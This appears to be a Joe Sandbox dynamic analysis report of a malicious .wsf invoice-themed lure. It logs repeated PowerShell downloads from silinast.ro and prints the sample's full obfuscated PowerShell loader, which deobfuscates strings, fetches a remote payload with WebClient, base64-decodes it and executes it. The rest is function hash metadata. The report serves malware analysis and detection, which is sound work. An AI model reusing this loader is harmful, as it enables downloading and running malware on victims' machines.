Oct 8, 2024 11:05:00.940125942 CEST	74	OUT	GET /Juglandin.xtp HTTP/1.1 Host: silinast.ro Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
93	192.168.2.6	62404	188.241.183.45	80	1336	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 11:05:00.955046892 CEST	74	OUT	GET /Juglandin.xtp HTTP/1.1 Host: silinast.ro Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
94	192.168.2.6	62405	188.241.183.45	80	1336	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 11:05:04.988873005 CEST	74	OUT	GET /Juglandin.xtp HTTP/1.1 Host: silinast.ro Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
95	192.168.2.6	62406	188.241.183.45	80	1336	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 11:05:05.000705004 CEST	74	OUT	GET /Juglandin.xtp HTTP/1.1 Host: silinast.ro Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
96	192.168.2.6	62407	188.241.183.45	80	1336	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 11:05:09.035557032 CEST	74	OUT	GET /Juglandin.xtp HTTP/1.1 Host: silinast.ro Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
97	192.168.2.6	62408	188.241.183.45	80	1336	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 11:05:09.052022934 CEST	74	OUT	GET /Juglandin.xtp HTTP/1.1 Host: silinast.ro Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
98	192.168.2.6	62409	188.241.183.45	80	1336	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 11:05:13.086461067 CEST	74	OUT	GET /Juglandin.xtp HTTP/1.1 Host: silinast.ro Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
99	192.168.2.6	62410	188.241.183.45	80	1336	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 11:05:13.104037046 CEST	74	OUT	GET /Juglandin.xtp HTTP/1.1 Host: silinast.ro Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
100	192.168.2.6	62411	188.241.183.45	80	1336	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 11:05:17.237698078 CEST	74	OUT	GET /Juglandin.xtp HTTP/1.1 Host: silinast.ro Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
101	192.168.2.6	62412	188.241.183.45	80	1336	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 11:05:17.249528885 CEST	74	OUT	GET /Juglandin.xtp HTTP/1.1 Host: silinast.ro Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
102	192.168.2.6	62413	188.241.183.45	80	1336	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 11:05:21.284116983 CEST	74	OUT	GET /Juglandin.xtp HTTP/1.1 Host: silinast.ro Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
103	192.168.2.6	62414	188.241.183.45	80	1336	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 11:05:21.295300007 CEST	74	OUT	GET /Juglandin.xtp HTTP/1.1 Host: silinast.ro Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
104	192.168.2.6	62415	188.241.183.45	80	1336	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 11:05:25.347069979 CEST	74	OUT	GET /Juglandin.xtp HTTP/1.1 Host: silinast.ro Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
105	192.168.2.6	62416	188.241.183.45	80	1336	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 11:05:25.359805107 CEST	74	OUT	GET /Juglandin.xtp HTTP/1.1 Host: silinast.ro Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
106	192.168.2.6	62417	188.241.183.45	80	1336	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 11:05:29.378079891 CEST	74	OUT	GET /Juglandin.xtp HTTP/1.1 Host: silinast.ro Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
107	192.168.2.6	62418	188.241.183.45	80	1336	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 11:05:29.389225006 CEST	74	OUT	GET /Juglandin.xtp HTTP/1.1 Host: silinast.ro Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
108	192.168.2.6	62419	188.241.183.45	80	1336	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 11:05:33.438395023 CEST	74	OUT	GET /Juglandin.xtp HTTP/1.1 Host: silinast.ro Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
109	192.168.2.6	62420	188.241.183.45	80	1336	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 11:05:33.450130939 CEST	74	OUT	GET /Juglandin.xtp HTTP/1.1 Host: silinast.ro Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
110	192.168.2.6	62421	188.241.183.45	80	1336	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 11:05:37.503359079 CEST	74	OUT	GET /Juglandin.xtp HTTP/1.1 Host: silinast.ro Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
111	192.168.2.6	62422	188.241.183.45	80	1336	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 11:05:37.515322924 CEST	74	OUT	GET /Juglandin.xtp HTTP/1.1 Host: silinast.ro Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
112	192.168.2.6	62425	188.241.183.45	80	1336	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 11:05:41.534184933 CEST	74	OUT	GET /Juglandin.xtp HTTP/1.1 Host: silinast.ro Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
113	192.168.2.6	62426	188.241.183.45	80	1336	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 11:05:41.545600891 CEST	74	OUT	GET /Juglandin.xtp HTTP/1.1 Host: silinast.ro Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
114	192.168.2.6	62427	188.241.183.45	80	1336	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 11:05:45.747153044 CEST	74	OUT	GET /Juglandin.xtp HTTP/1.1 Host: silinast.ro Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
115	192.168.2.6	62428	188.241.183.45	80	1336	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 11:05:45.763678074 CEST	74	OUT	GET /Juglandin.xtp HTTP/1.1 Host: silinast.ro Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
116	192.168.2.6	62429	188.241.183.45	80	1336	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 11:05:49.801388025 CEST	74	OUT	GET /Juglandin.xtp HTTP/1.1 Host: silinast.ro Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
117	192.168.2.6	62430	188.241.183.45	80	1336	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 11:05:49.814071894 CEST	74	OUT	GET /Juglandin.xtp HTTP/1.1 Host: silinast.ro Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
118	192.168.2.6	62437	188.241.183.45	80	1336	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 11:05:53.831067085 CEST	74	OUT	GET /Juglandin.xtp HTTP/1.1 Host: silinast.ro Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
119	192.168.2.6	62438	188.241.183.45	80	1336	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 11:05:53.844997883 CEST	74	OUT	GET /Juglandin.xtp HTTP/1.1 Host: silinast.ro Connection: Keep-Alive

Target ID:	0
Start time:	05:01:47
Start date:	08/10/2024
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\Wniosek o numer faktury.wsf"
Imagebase:	0x7ff76ea80000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	05:01:47
Start date:	08/10/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd.exe /c ping 6777.6777.6777.677e
Imagebase:	0x7ff633ff0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	05:01:47
Start date:	08/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	05:01:47
Start date:	08/10/2024
Path:	C:\Windows\System32\PING.EXE
Wow64 process (32bit):	false
Commandline:	ping 6777.6777.6777.677e
Imagebase:	0x7ff785860000
File size:	22'528 bytes
MD5 hash:	2F46799D79D22AC72C241EC0322B011D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	05:01:48
Start date:	08/10/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "<#Semicellulous Sasia Afblsningers fortification Ungarbejderens #>;$Jestenenes='sollegeme';<#Perspiration Widish Redobles Foresprgerens Snobbisme #>;$Bromatologiens=$Lorelei128+$host.'PrivateData';If ($Bromatologiens) {$Boutonnieres++;}function Citationstegnet($Praepuce){$Firewarden117=$udnyttedes+$Praepuce.Length-$Boutonnieres; for( $Udfladningerne1=7;$Udfladningerne1 -lt $Firewarden117;$Udfladningerne1+=8){$Beritt='Affaldsbortskaffelsesomraaderne';$fumitories+=$Praepuce[$Udfladningerne1];$Exsectile='Impieties';}$fumitories;}function Humiria($Skdefrakkernes){ . ($Kaste) ($Skdefrakkernes);}$Udfladningerne1vyberry=Citationstegnet 'ChienfoMWingle o FrkapszSkyttesiNonshatl Vab erlNonch maKrydr s/ Cons q5 Coni i. Ophiur0Udebliv modpart(MilepleWSti lehiTak artnReirrigdUfrihedojubilizw angforsAtletis NedslagNBedrageT Defade Kuponen1Teredos0,budent.Cybercu0Matinmx;Maskinm GrskkatW UdspiniBoiler nLongw y6Mayos,v4 Anthro;S eavep Tras.expar tid6Tabanu 4Frifind;Hushold lseligrRke ispvabashle: N napp1 Pererr2 efleks1 Neutra.Recons 0H lvled) Compos esuetuG Bortf eO.gngelcSoricidkVolcanooZonesys/Glosser2Forvold0Turloug1Melleml0 nie,zs0G,lvano1F lthro0 Ristni1Landbru Lommer,FSkalkesi Sel,plrTorskeneHydrofofKonditoosiderocx kledis/Hjemt,g1 Ca,lal2 Tikkes1Nor ann.Ind atn0Ordrere ';$Aprilsnars190=Citationstegnet 'PropounUDyb rysS KongebE lozengrin issu-A,kelleaKoncis gBusfor eViewyyaN HercogTLrerudd ';$Maalestationernes=Citationstegnet 'RbdigsthPhilomatArseniutKaolinapVrdido :.wfulle/.rocaic/PuppetlsJacalsii F,rulylHepht eiMaaleren epersoau,creatsLicentitConnuan.KontrrernontyphoPondero/ UnguicJ,ongfeluDyrtidsgAfgrelslThro,doa niformn charondPrefectiTv,ngsinEksdik..Kin.redxType odtkristanpInd ull ';$Terroristens=Citationstegnet 'eft rml>Deseca ';$Kaste=Citationstegnet 'U derviicephaloeLaiciziX Perfor ';$Halibuts='Layland';$Darlenes='\Kassestrimmelens.Aft';Humiria (Citationstegnet 'Heft,gt$SkridtbGCrotonil KrystaOAbstracBpurdasiAUdsor el N,nges:Udsag kA .anthodRefas,emUncharii SuppleNPostsaci ewspapsGenvlgetD,ekcyaRNonunciA Hulds T IlliciiKvittero MorfinNEpilogisPreentepDrun,enrCus ekdOTvetandGtrkgardrLitera ABeijingM ic.orsmAlarmereSthammerInd fry=Undersk$Sur,useeSeweragNMllerenVTa kats:UndightACentralpdristerPF cellid StorstAEgomanit Sku spAMe,meri+ Pander$LinguovDKlvandkaBelliferGinglymLCumsha,EAlmennyN VarmlueBrugsmsSAnorect ');Humiria (Citationstegnet 'Viziera$AdemonigPr teifLArbejdeoVan fribMixologaAfkodnilUnderme:RegnefuUaksiomaPIncongeS Fo beheScorevatHypos rTEncr,ptaKonversl Opmarc=Economb$TrimolemOpstaada VegetaaUvrdigtlEnsurege Vo dgiS EngberT redsaAImp,ritT ArvelsiPekingeO Inthron andsynEDemoniaRAffaldsNSympatiEOverlegsFastlaa.H.vregrSSandslopBestriplMisogynimycelietoverjoy(Hagge,e$ Af,tantUnarcheeSilikatrB sgader,hasiluoFremholRDgn.rveIMiscoloS.pildolTPo letreIsocampN SubsidsBlodser)Strepto ');Humiria (Citationstegnet 'Contral[ SandblnYawl nkEXiphipltAartier. ,erpenS Fla.gieVictorir StatsvvPo ygeniS philiCBlaffe eModulvip ensdyrO bil igiBlokadeNCholecyTLovprisMHjhletfAFibroelNN edlemaLongbowgHv,skedEJamborerTrktjet]philomu:Elforsy:b,ckbussBraiserEGlyconeCSkeletouSingul.RNationaIjedd,hitCommin.yHu tankpSwoosheRHydro,lo TidtagtNonshatOfr dmmeC Jor,broHaleweelUdsprin Boldtre=Pteropu Strejf[Ve.nacuNMizenmaeTranquiT Anostr.Rationas D.shalE nowbloCFlus erUFluktueRUsheriaITekstilTEpi idyyShedmanPJydepotr But,ksOH.lotriTAg rnsuOLivskracSpilledois andsLGenetabTUntwitcYcrestsrPHoodshyELredren] gldssa:homemak:Form ddT Bra,etLMellemfs Abdomi1Uncoaxe2 Superf ');$Maalestationernes=$Upsettal[0];$eupnoeic=(Citationstegnet 'Po tula$ Spermag ,alataLSlvstolOIntell.b W,nderaChefk nLWrangle:VildtdidFluviale demi aAPotholer VedersYFluor s2 Lovreg3Sprogkl3Rayonna=undervinslambeheNectriaW Subung- PeroliO WoolieBLgnehisJGarapateUna brec uggenttT ermot HymenopsOppo itY A.minisS.rivelt eemanaEDe ennimPatriar.War letnTabelleErivettitF,rstan.Listep WVinderteOverstiBDri,tsiC SponsoLColaensI S.cialE Rec ifNafvikliTUdydsva ');Humiria ($eupnoeic);Humiria (Citationstegnet 'Gulliut$u graveDMidshipe ste peaSourtoprs,pramayLeverin2Dehydra3Adjuvat3 Sa men.Gr ynesHRichn.seSejpinea,ranchedSubmerge Rets.rrSekundasGopural[Slyng i$andenklAHypapoppDagsprirAa enhjiCounterlSafthols lapsenter,itoaRtehalmrbagefors pardie1Gungrem9Fe mate0Sl bnin]p.theca= Stepd.$Guas.alUPalewi d Abb.evf SelvhelSacrifia.pectrudTele henSpectroiHom,nymnSappa wgHurriexeAntimonrPoachernseasonaeOverr s1Perspekv harteryBlo rigb Retroce Foliarr TambalrDelkredyBilledf ');$Venskabsbyen=Citationstegnet 'Un.erkb$ .hylloD Morbi eShrewisa Fortolr eitonoy nderpa2Fructuo3 Marche3Ectopla. RosewoDEksilero Ngleomw Nonradn CountelFabrikaoOveroffaSulphiddIrmamrkF anensciDr ntfolFredrikebogklub(Sammens$LarrikiMDosmerna Sundh,aVan.lbslSanselie Sele.tsDobbelttVigint avagrantt H.rejuiConvivioInddmconUnmembee Ma dskr blytkkn Popul.eValewarsHo.shan,Trykblg$EfterviRBararmeuSkaf,esbForfl,di DemonoaDemountc FuturoeblndramaChronise Rednin) Egensk ';$Rubiaceae=$administrationsprogrammer;Humiria (Citationstegnet 'Ev ngel$ Ta,ellgSnitselLDiscandoEkstre.BStin svaSplenolLMedh.lp:P oletaoShahe,sFKipkalvfPolygamICensurkCotiticei ServieaUnderudlKbslaaaVMunsifciOverlubR LeachekSubsistsMesonepOBla dinMSubramohE.aarigEFuglehaDBronchoE Eksperr Social4 Roligt4 Overtr=Horaten(Kat,batTFoxtrotE QuisquS NominatD sbenc-VarselsP BetingA Fore.dtComitatHParthen egelis$TrstubbRSpeedomuSelenosBDesig.fiRedemptA Appetic Trans eGodsterAPillorieVejenkl)Kvgbrug ');while (!$Officialvirksomheder44) {Humiria (Citationstegnet ' Opretn$Expand.gBoozinelK ivkamoMinim.rbOtocystapleasaulAdviser:Mo omolC UdgiftoGobblinlSkibsr,lDioicouy evggrub pleopoadigono =Tilsp.r$Pyoi betcofi.anr Kategou antiscePhospho ') ;Humiria $Venskabsbyen;Humiria (Citationstegnet 'S,lowviSChristiTTransisaRehoninr,valiteTFintede-Unikae s,latycnLVert biE,acrameeQuinovopClinoph Domajig4Calatra ');Humiria (Citationstegnet ' Bilbre$ atsdekgAegteskl SlagteOSocio oBS,lerodAVulgariLWorkbas:snowshaO ndiscFCatchplf Str foI Kryst cDicotylIModarb aDenouncLheraldrvSacketcI S outerAnticorkLag rbeSTeasellOLmmelstmPre,onshcircumseUn ulatdpolemoseSu ernirIndlagt4Tonnens4Beruser=Synsv d(ZarerviTBesl tnESmilerhSunst inT skrift-Falshvlp sldrevaHengivetBlokbebh Isohes Raekker$Mu ticyrOverv,ruT,lentfb aniskeiSedimenAFodl ngcBino,iaEOverrelasavoroueKri.sra)Non pos ') ;Humiria (Citationstegnet 'Indremi$BitestiG InspirLTumidito TrbeskbGenyantaF rbrydLBerring:Bet gensPenta eCIvrkstthEksportO onsillo utpresLMark nghHyperviOUninterUDe,ainaskancelleKlag adSCiril o=D meskr$ nruddgUn,ordyLMudde,pOGottharBHospitaAInkorpoL Deta h:underdeo a ribrrUnappreihustankSSstridspRagoutehHaartopEEntreprRUn.ougheRepelli+Ceylone+Fednmag%Ydmyg.d$DiapnotULov stePUn selisSammensEcum,noiTFluidist TroposAAl,mnollMouseba. T lhoec IndsyoO SlidsoUTrivia NSpacecrTindvend ') ;$Maalestationernes=$Upsettal[$schoolhouses];}$Effektfuld=311542;$Garnnglers=33970;Humiria (Citationstegnet 'Flad.ng$ almebgGUdkoblelPintaskO BrobygBOpvejeraUncon.ilU level:Fa ulteETndrrsnm Sabba bUdenrigRkyllin OEndocriSMagi.trc VidereOHombretPweed inI SurfedCPa ynol Folk re= En.old FasanhnGThal aneNy ansktVelkoms-SkenderCInrusheo jertesN KontorTButi keeNo ditanChungviTOmstnin Udrug $TestamerTonikaeUBackarrBSkribleiKlemat aUbekrftCRandomiECoinquiaA ylemiePerspek ');Humiria (Citationstegnet '.mmodyt$RealitegBlackgulheteroco Rkvrkeb BropenaStngelelNucleat:tapaderSSocialleOlfactymSej brtiUnhonesnRubbereiashilymsYalelaatR books2Clodpol4cantr p3racehes Dogmat=Pilpais Dagafsn[CurricuSRubblinyCranke swired,atNonlique forgivmunridab.ExquisiCC shkluo BalletnSynta svAnegalle oupetfrBrisjabtReh efo]Life,ty: Andrag:UnsearcFAgurksprDueske o Ci clemSquamygBGipsdepaEuropaksO fwhiteS,upnef6Kimissv4indkbsaS nplankt proaccrSagnfigiNic namnCel ermgTim lia(Inexora$panningEPa elunmP stinsbDronninrFortidsoGraphics Percenc Soci loPreindupKur,udviMyndighcGossame)Forvist ');Humiria (Citationstegnet 'Foldout$SparepegAlkylolLSenilisoBippeneBDumpnina LaparoLSide il:LangvarL usstano Pe minO Adoni.KLeukoseDSkrte uoSjlevanWIlfrdignGamblessUntissu Harpun =Wickyfo Debyein[ Re nfrsKlagdocyKommuneS DesserT angsveeEquilinmP ulina.RugbyenTPapirdoe BrugerXTilrettt S yros.Begyn.eePredissnTachomeC onstorORodetcodDipoleri MdeaftnRungendgAchokes] Jordvo:uvurder: Nonat ABill.dhsDiluviuCHyponomiTomasteIOreocar.genforeGPeritoneEbelt,ftTrehedesVenligstVi tigtR BanabaILisabetNtehuecoGNonstat(omstill$ AntigeS DuridiEVertikaMHageskgIPropinqn O helcIIskagemS Hexad tUn slaa2 okalp4Forthse3u adjus)Looking ');Humiria (Citationstegnet 'Phototy$CatchphG VidtlfLMeddelso TintinbDacapona BefrieLKanjist:TmrermeNFrangibO BettonN askinfCHygiejna SlabbenNonreseDReallnnIHjssoneDRekapitaStude rT tearinEUdgivelSForhand=Knnessk$ EkkololPostninO anim loFibrillKCepforsdElianasO destitWComminuNhobbyi S Inju i.FlakonesEkstr.oUApothecbDevalueSPara idTNicolaiRDr,vtmmiUdligniNDivertiGRecoils( hasian$Ni htimE,yromanf ammenkfToraerseMyer,orK BenzintRefuserf artoonuHorsecrLRitteniD Obispo,Udenla $ HyrekrgGedesk,ADaaredertankangnDanielun PejoraG SkatteLSwe.tieeHyaluror RdkaalS ortari)Unhaggl ');Humiria $Noncandidates;"
Imagebase:	0x7ff6e3d50000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	05:01:48
Start date:	08/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Function 00007FFD347C47E0 Relevance: .3, Instructions: 331COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.4648426659.00007FFD347C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD347C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd347c0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5e5c9d951e9318dbbe6de791989fcbd5a4999d704c91048c323946ee8157f524
Instruction ID: b055c3ec0e5fe6ba34aa67112d8c4b30c14477fff99548ff77f81228a931c27f
Opcode Fuzzy Hash: 5e5c9d951e9318dbbe6de791989fcbd5a4999d704c91048c323946ee8157f524
Instruction Fuzzy Hash: E69128A2B0DA9A6FE7A8D61C58B61B577D1EF97210B08017FD54EC3193ED1DBC019281

Function 00007FFD347C4A9B Relevance: .2, Instructions: 156COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.4648426659.00007FFD347C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD347C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd347c0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c82caeda069ce4198f9bd3adafbaf8b0b87eade8a55db25380d8e259a5be143e
Instruction ID: 2274b3afa9c3f18f4fbc7d6c27064f2d64636739b835f9ff16403374682f4377
Opcode Fuzzy Hash: c82caeda069ce4198f9bd3adafbaf8b0b87eade8a55db25380d8e259a5be143e
Instruction Fuzzy Hash: D151BE62A4E7C55FE3579B781CB92643FE09F53260B0A01FBD189CB1A3D95D2C498322

Function 00007FFD347C4924 Relevance: .1, Instructions: 99COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.4648426659.00007FFD347C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD347C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd347c0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 95ebdf632aabe52547b2785172cf3cfc4f533256235362a275492038c15e397f
Instruction ID: 3c63cd20791b08c8fff47beec300d9931d983d3e0f94125cd4ced8271dbddcb4
Opcode Fuzzy Hash: 95ebdf632aabe52547b2785172cf3cfc4f533256235362a275492038c15e397f
Instruction Fuzzy Hash: F621F5A2F1EAA69FE3A5E62C15B117476C2EF97210B5801BAD14EC7193ED1DBC01A281

Function 00007FFD347C1A7F Relevance: .1, Instructions: 82COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.4648426659.00007FFD347C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD347C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd347c0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e7049178623527e4db3a7640e0e2d805e16826be3552fcd9e610eb01898c329c
Instruction ID: 439f1d69ee044e70c0fd5ee8733af7637e2a55883ccf36c478dd939ed58958ee
Opcode Fuzzy Hash: e7049178623527e4db3a7640e0e2d805e16826be3552fcd9e610eb01898c329c
Instruction Fuzzy Hash: FE21F193E0FAC15FE361A62818A90686BD1DF5B650B1842FFD098CB1D3E81D6C49D791

Function 00007FFD347C744E Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.4648426659.00007FFD347C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD347C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd347c0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9407161183f685dc482ca4688ebe5875e6b93ebcb63f9467e3522e575539d01e
Instruction ID: 157250b7c17c8b4d3ce8c36db79b83cac106a5643a9b8dbfa0ebdd8e3eb0cb79
Opcode Fuzzy Hash: 9407161183f685dc482ca4688ebe5875e6b93ebcb63f9467e3522e575539d01e
Instruction Fuzzy Hash: BF1106B2B0D68A4FEB56DB9850A45A87F91EF5A310B1800BFC54CCB193DE2DAC01C391

Function 00007FFD346F41E5 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.4648117684.00007FFD346F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD346F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd346f0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 64998e6327d7109a0430388bedef7d144e8725d57d90dafb0120ff9002e4a4a8
Instruction ID: 0f131bc7d0dfd6da857fcd5c5c282894d299e86555c8ae9e83c7e0300eede7c4
Opcode Fuzzy Hash: 64998e6327d7109a0430388bedef7d144e8725d57d90dafb0120ff9002e4a4a8
Instruction Fuzzy Hash: E501677121CB0C4FD744EF4CE451AB5B7E0FB95364F10056DE58AC3655D636E882CB45

Non-executed Functions

Function 00007FFD347C5DFE Relevance: .4, Instructions: 407COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.4648426659.00007FFD347C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD347C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd347c0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 228bec2a95f0131ce54d802805a5b3096766ef1d25d2b85970a0dd80a2d3c159
Instruction ID: 910ee9b38f2f340524c2aac2df2bd7b34cda2c79aea4bdea4674fc7f6c0eefa7
Opcode Fuzzy Hash: 228bec2a95f0131ce54d802805a5b3096766ef1d25d2b85970a0dd80a2d3c159
Instruction Fuzzy Hash: 57C129A2A0E7C55FE7A3877858A55A53FE1DF53220B0901FBC188CB0A3D90D6C4AD392

Function 00007FFD346F4C28 Relevance: .3, Instructions: 285COMMON

